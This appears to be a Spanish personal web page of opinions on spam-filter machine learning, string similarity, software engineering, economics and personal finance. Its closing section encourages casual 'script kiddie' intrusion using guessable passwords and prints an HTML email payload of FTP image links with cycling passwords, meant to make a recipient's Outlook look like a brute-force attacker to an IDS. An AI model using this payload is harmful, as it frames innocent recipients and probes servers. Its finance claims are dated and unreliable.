¿Qué hay en esta página?
A lo largo de mi vida he ido recopilando un conjunto de heurísticas, o de conocimiento impreciso
que deriva de la experiencia y que, en estas páginas, trataré de compartir con el mundo.
Mis memorias no son tan buenas como las de
Fuckowsky pero es que yo no soy tan bueno como él. Colocaré mis comentarios a medida
que el tiempo me lo permita y clasificado en las siguientes áreas:
Esta zona está dedicada a mi investigación y al conocimiento del
problema de los correos electrónicos spam y de las técnicas de aprendizaje
automático.
Concept Drift
Los algoritmos de aprendizaje automático (redes neuronales, bayes, SVM, etc.) se
fijan en características que coinciden en situaciones concretas para poder realizar
tareas de clasificación. Por ejemplo, en spam es habitual que los mensajes contengan
palabras como sex, pills y viagra. Los algoritmos de aprendizaje automático perciben
y aprenden estas coincidencias.
En algunos problemas como el spam ocurre que las características representativas
de una categoría varían con el paso del tiempo, de tal forma que
características que aparecían en correos legítimos pasan con el tiempo
ser representativas de spam y viceversa. Este fenómeno se conoce con el nombre de
concept drift. No hace mucho tiempo que se envían mensajes spam publicitarios
de "Rolex" pero en este momento, el término "Rolex" es muy representativo de spam.
Esto explica por qué hay que reentrenar cada cierto tiempo los filtros de
mensajes spam basados en técnicas de aprendizaje automático.
Investigadores de todo el mundo conocen esta característica inherente al dominio
del filtrado de correos spam y realizan trabajos de investigación para tratar de
que los modelos de aprendizaje automático puedan contemplarlo. Por desgracia, a
día de hoy no queda más remedio que seguir reentrenando los filtros cada
cierto tiempo.
Comparación de textos y palabras
¿Cómo comparar textos? Si son exactamente iguales es muy fácil detectarlo. Sin
embargo, dos textos que varíen en un único espacio en blanco pueden ser considerados
diferentes si al compararlos se emplean las funciones de comparación que proporcionan los
lenguajes de programación.
Entonces, pensarás, necesito pensar en formas de comparación que me permitan
soportar pequeñas desviaciones del contenido original. Bueno, y buscando, en nuestro amigo
Google se puede encontrar el enlace a
String Similarity Metrics
donde se relatan una serie de métricas propuestas en el ámbito científico para
este tipo de comparaciones.
Asociado a String Similarity Metrics hay un proyecto opensource en Sourceforge que implementa
muchas de estas métricas en el lenguaje de programación Java llamado Simmetrics. Muchas de
estas métricas han sido diseñadas para la comparación de cadenas en
ciertos ámbitos, como, por ejemplo, el ámbito de comparación de cadenas
de ácidos nucleicos del genoma. Sin embargo, también se habla de trabajos en los que
se proponen métricas para la comparación de cadenas de texto de lenguaje natural teniendo
en cuenta variaciones fonéticas, etc. Así, por ejemplo, las comparaciones en base a q-grams (n-grams) pueden
ser ideales para comparación de términos y textos en el ámbito del correo Spam.
¿Para qué uso yo las métricas? Pues muy sencillo, para eliminar correos
electrónicos duplicados. Estoy probando varias, ahora estoy con Jaro y Jaro Winkler y
funcionan bien.
Academic plagiarism
Como dato curioso decir que la distancia Levenshtein, que está implementada en el
código de Simmetrics, está también implementada en PHP 3 y 4.
Esta función podría dar buenos
resultados para detectar plagios académicos. Lo que hace es buscar básicamente el
número de cambios que hay que hacer en un documento para convertirlo en otro documento
teniendo en cuenta que borrar o insertar y sustituir un caracter implica un cambio. Si hay menos
cambios que la mitad del número de caracteres del documento mayor seguramente estés
en un caso de plagio académico. Implementar esto es muy sencillo, e incluso se podría
hacer un mecanismo de upload de prácticas que detectara automáticamente los plagios.
En php:
- int levenshtein (string str1, string str2)
- int levenshtein (string str1, string str2, int cost_ins, int cost_rep, int cost_del)
- int levenshtein (string str1, string str2, function cost)
Ahora sólo queda ver los resultados.
En esta sección se recogen todas aquellas actitudes en torno al desarrollo del software
que, bajo mi criterio, son malas. Además, trataré de proporcionar la visión
que yo he adquirido de la ingeniería de software y de las buenas prácticas en ella.
Contratos con condiciones desfavorables para ingenieros y técnicos del software.
Muchas empresas de desarrollo de software creen erróneamente que proporcionar condiciones
de trabajo desfavorables para los empleados conduce a mayores márgenes de beneficios. Pero...
¿Qué ocurre cuando un trabajador trabaja en esas condiciones?
- El trabajador no está motivado y no rinde lo suficiente. Esto conduce a que los tiempos de
construcción del software se alargan y el software construido se hace en general mal.
- El trabajador considera el trabajo como un comodín que le permite ganar un poco de dinero
mientras no encuentra algo mejor. Esto implica que en un determinado momento, se puede producir
un abandono masivo de empleados de un proyecto echandolo todo al traste. Un proyecto con un
margen de beneficio de un 50% de su importe, tras un abandono masivo de empleados puede producir
retrasos y pérdidas económicas tan importantes que pueden suponer que el porcentaje del beneficio
se convierta en negativo.
El coste del software en España
¿Por qué se dice que el coste del desarrollo del software en España es menor?.
Seguramente todo el mundo se haya hecho esta pregunta. Yo me la hago día a día.
Después de mucho pensar la única explicación posible que se me ha ocurrido es que las empresas de
software españolas trabajen con un margen de beneficios menor y se apoyen en diversas subvenciones
concedidas por el estado para igualar el margen de beneficios con empresas de software de otros países.
La diferencia entre un Software Architect y un Arquitecto que diseña edificios
Siempre me he preguntado por qué se organizan concursos al mejor diseño de un
edificio y no se hace lo propio con el diseño del software. ¿Será que
los arquitectos aprenden de los ingenieros del software observando la mala calidad de nuestro trabajo
o que los ingenieros del software no percibimos la basura de software que desarrollamos?.
¿Acaso un edificio se cae por un gusano, un virus o una rata? Resulta que el software sí
y encima tenemos que asumir que es lo normal.
Yo me imagino el día que cuando se desee desarrollar un sofware, primero se ofrezca a concurso
el diseño del software con un premio importante. Una vez escogido el mejor diseño por
expertos en la materia, se llevaría a cabo la implementación del sistema por técnicos
e ingenieros del software cualificados. Esto redundaría en una calidad del software impresionante
y dejaría fuera de lugar a "timadores del software" que aparentan ser "amos del software" y que
generan algo que se parece al software pero no puede ser considerado como tal.
Como las cosas no son asÍ, habrá que seguir con los "timadores del software" y con chapuzas
como toda la generación de "trash-software" que se desarrolla hoy en día, empezando,
por supuesto, por el penoso Sistema Operativo que usa la mayor parte de los habitantes de este planeta.
Software libre gratuito
Sofware libre y FreeSoftware son dos términos agrupados en un mismo bote por los usuarios de
los ordenadores personales. Actualmente existen muchos productos de software libre que se distribuyen de
forma gratuita entre los usuarios de ordenadores personales. Sin embargo el software libre no necesariamente
tiene que ser gratis. Software libre significa que no se usará el actual modelo de licencias, lo cual
implica una serie de ventajas.
Se entiende por software libre aquel que se vende o se distribuye con su código
fuente de tal forma que el comprador puede personalizarlo, adaptarlo y mejorarlo. Este usuario puede
vender la personalización, adaptación o mejora pero bajo las mismas condiciones que lo
adquirió (es decir con el código fuente y con la posibilidad de que su cliente lo pueda
personalizar, adaptar, mejorarlo y venderlo o redistribuirlo). El software libre es otra filosofía
de negocio de software garantiza una distribución más equitativa de la riqueza evitando
monopolios y además permite que el software tenga mayor calidad.
El precio de no planificar
A lo largo de mi vida he observado que muchos informáticos, ante la necesidad de construir un
determinado softwrare, lo primero que hacen es coger un entorno de programación. Esta
situación pasa tanto en los alumnos de las Universidades como en los profesionales de la
empresa y no es deseable. La ausencia de planificación, la mala elección de estructuras de
datos (pilar sobre el que se apoya la arquitectura del software) y la adopción de arquitecturas
de software que no pueden representar completamente el problema convergen en una solución
muy defectuosa.
Para lograr el funcionamiento de esta solución defectuosa, el informático agregará
múltiples parches que contendrán nuevas estructuras de datos calculables a partir de la
estructuras de datos originales por costosos procesos que no hubieran sido necesarios en el caso de
haber planificado y/o procesos ineficientes porque las estructuras de datos se han escogido mal. La mejor opción, una vez que el informático se da cuenta de que lo ha hecho todo mal
es arreglar ya que, deshechar toda la basura generada y empezar de nuevo no apetece.
Este tipo de situaciones es indeseable y puede llevar cualquier desarrollo de software al traste. Si
finalmente el software llega a construirse su calidad será penosa y el tiempo empleado mucho mayor.
Si el software hubiera sido planificado, eligiendo las estructuras de datos y la arquitectura de software
más conveniente, estos problemas no habrían tenido lugar, el software desarrollado
sería de gran calidad y el tiempo de construcción mínimo. Las compañías
de sofware que desarrollan software bajo este modelo morirían si el software se vende como tal
(en forma de código abierto). El actual modelo de licencias protege la intimidad de la basura de
software desarrollada por las compañs y desarrolladoras que desarrollan software con este tipo
de procedimientos, por eso la idea del sofware libre es una gran idea.
Hay dos campos de la sabiduría que me atraen además de la informática. La primera
son las reacciones químicas, y las teorías que las rodean. ¿Por qué si una
reacción química desprende energía entonces se produce en ella una variación
de masa?. Lo dice Einstein y es la base de la liberación de energía de las reacciones de
fisión y fusión atómicas. Por otro lado, la economía y su funcionamiento
es algo que ha llegado a ser muy interesante para mí. No sé nada de economía,
de cierto, sólo soy un informático, sin embargo, me he creado mis propias nociones de
ella que expongo aquí.
El ciclo del dinero
Lo que voy a contar aquí es algo conocido entre los expertos de esta ciencia y que, personalmente,
me llama la atención. El dinero es como la energía, no se crea ni se destruye.
La energía cambia de forma así como el dinero cambia de bolsillo o de caja fuerte.
Seguramente pocas personas no expertas en economía se han parado a pensar en qué afecta
este hecho o qué implica.
El movimiento del dinero es contínuo y necesario de tal forma que más movimientos y
entre más personas (físicas o jurídicas) implican más bienestar y
mejor economía. Cuando hay pocos movimientos del dinero, éste tiende a concentrarse en las personas
que más recursos poseen (empresas enormes). Entender esto es tan sencillo como entender que
cuando la empresa para la que trabajas remunera de forma generosa a un empleado X por tus servicios, X
puede consumir más cantidad de servicios de otras empresas (cine, comodidad en su hogar, coches....) que
a su vez, para proporcionarlos consumirán otros servicios de otras empresas ... y así
sucesivamente. Si el empleado X tiene un salario bajo dificilmente accederá a servicios y con ello
se provoca la parada del flujo económico.
Bueno, esta es mi visión, y tal vez haya algo que yo no haya tenido en cuenta en mi
reflexión. Al fin y al cabo yo me dedico al software y a la investigación.
Pero si esto es verdad, y no me equivoco en mi razonamiento, las PYMES (Pequeñas Y
Medianas EmpresaS) que a día de hoy no se esfuercen en remunerar de forma
adecuada a sus empleados podrían estar provocando un cuello de botella en la economía que
redundaría en su perjuicio. Sin embargo, las grandes empresas (gigantes como BBVA), además de
no verse afectadas por cuellos de botella en la economía, incluso les compensaría su
existencia.
Finanzas personales: Fondos de inversión
Los fondos de inversión son siempre los productos ideales para invertir tus ahorros. Seguramente
te has preguntado como funcionan. A continuación expongo las conclusiones que yo he obtenido de
las inversiones que he realizado:
- Fondos Dinero: Obtendrás una rentabilidad similar a la inversión de tu dinero en un
depósito tradicional (1,10%) con la ventaja de que podrás disponer de tu dinero cuando
quieras sin renunciar a la rentabilidad. A veces te puede compensar contratar una cuenta corriente
de alta remuneración.
- Fondos que invierten en bolsa: Estos fondos tratan de replicar un índice de un mercado conocido
como el IBEX o el SP&P. Estos fondos son muy rentables (10%) pero deben ser combinados con periodos de
inversión largos (más de 3 años). En periodos de inversión cortos es muy
fácil que pierdas dinero. Por otro lado, no debes apostarlo todo sobre un Índice sino diversificar
tu inversión repartiéndola en varios fondos de este tipo.
- Fondos que invierten en propiedad inmobiliaria: Invierten en inmuebles para revender y/o
alquilar y tienen una buena rentabilidad (5%). Bajo mi criterio tienen el problema de que si se produce
la burbuja inmobiliaria, se puede perder mucho dinero. Aquí hay que invertir con mucha cautela y
no colocar todos los ahorros.
Economía y Universidad
Aunque pueda parecer todo lo contrario, la economía y Universidad mantienen una estrecha
relacción. La función de la Universidad es la investigación y el descubrimiento de nuevo conocimiento
que será confiado en sus alumnos. De esta forma, sus alumnos crearán empresas o
abrirán nuevas líneas de negocio en las empresas ya existentes. A su vez, las empresas
y los alumnos generaran el movimiento económico
Normalmente se cree que la Universidad es sólo un sitio donde los estudiantes acuden para
obtener un título universitario gastando, para ello, un cantidades importantes de dinero.
Sin embargo, el dinero recaudado por la matrícula de una Universidad pública española
habitualmente no es suficiente para cubrir los gastos de mantenimiento y comodidad de las instaciones
donde se imparte la docencia. El resto del dinero lo asume el estado a través de los fondos
recaudados por medio de los impuestos.
Los profesores de una Universidad son investigadores que además imparten docencia. La
investigación es algo fundamental para el desarrollo económico de un pais,
además de para crear la tecnología que nos da el bienestar.
La Universidad tiene la función de ser el motor económico y del bienestar de un pais
entregando los resultados de la investigación a las empresas para que estas creen productos
que venderán a terceros generando una mayor fortaleza económica.
Finanzas personales: Pequeños gastos cotidianos
Muchas veces ocurre que al llegar a fin de mes uno repara en los gastos que ha realizado para
tratar de averiguar la razón por la cual el gasto se ha disparado. Al hacerlo lo normal
es fijar la atención en gastos puntuales como el seguro del vehículo o la
matrícula de la Universidad.
Sin embargo, muchos gastos de pequeña magnitud que se producen de forma habitual
pueden implicar grandes gastos cuando el periodo de tiempo es amplio (un mes por ejemplo). Así,
una persona que consuma 3 cafés al día de 80 céntimos de Euro
(2.40 Euros diarios) durante los días laborables habra gastado 48 euros al mes en
café. Traducido a pesetas españolas antiguas son 8000.
Otro gasto importante que nunca se tiene en cuenta a la hora de hacer las cuentas es la
comida. Un español se gasta como mínimo la cantidad de 1 euro
en cada comida. Haciendo un sencillo producto, cada español se gasta en comida
como mínimo nada más y nada menos que 90 Euros (15000 pesetas
antiguas). Recalco lo de como mínimo porque lo normal es que sea más.
Esta sección está dedicada a descubrir mi lado más desconocido por todos. Es una
sección corta pero... algo hay.
Sir hacker
A lo largo de mi vida he visto a personas sorprendidas porque conocía claves de servicios
que correspondían a otros usuarios de la red. Es todo mentira. Siempre ha habido un usuario
"v*l*" con clave "minombre", otro "m*c*d*" con clave "hola" y otro con login ******* y clave exactamente
igual *******. Vamos, que no tiene ciencia ninguna encontrar una tripleta (usuario,pass,host) para
conseguir entrar en equipos muy comprometidos.
Lo máximo que he hecho ha sido actuar de script kid (niño jugando con scripts). A día
de hoy hay tanto software para hacer el mal que hacerlo es un juego de niños. En fin, juega y te
divertirás :-D porque el que busca, encuentra.
Maldito Outlook
Cuando el correo era desconocido y cuando todas las ovejas del rebaño usaban Outlook sucedió algo.
A un conocido le pasó algo malo. Siempre sospeché que tenía que ver con algo que yo
había leido atrás en el tiempo.
En un correo electrónico MIME-MULTIPART se pueden insertar documentos HTML, con imágenes
o con referencias a imágenes que están en un servidor http o ftp. Esto puede ser usado
maliciosamente para elaborar un correo que simule un ataque por fuerza bruta a un servidor.
Simplemente colocando unas cuantas referencias a imágenes en un servidor FTP con claves de usuario
diferentes, el Outlook simularía un ataque al servidor FTP. Por su parte los sistemas IDS
(Intrussion Detection Systems) de la red del servidor FTP detectarían
rápidamente el ataque e identificarían al receptor del mensaje de correo electrónico
como culpable
He aquí el contenido HTML que al ser cargado por el Outlook simularía el ataque:
<img src="ftp://manolo:aaaaaaa@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaab@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaac@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaad@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaae@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaaf@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaag@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
Esto hay que repetirlo unas cuantas veces más para que el IDS se de cuenta de que se está
produciendo un ataque.
Lo que yo creo sobre lo que le sucedió a aquel conocido sólo son sospechas y
con ellas me quedaré eternamente.
|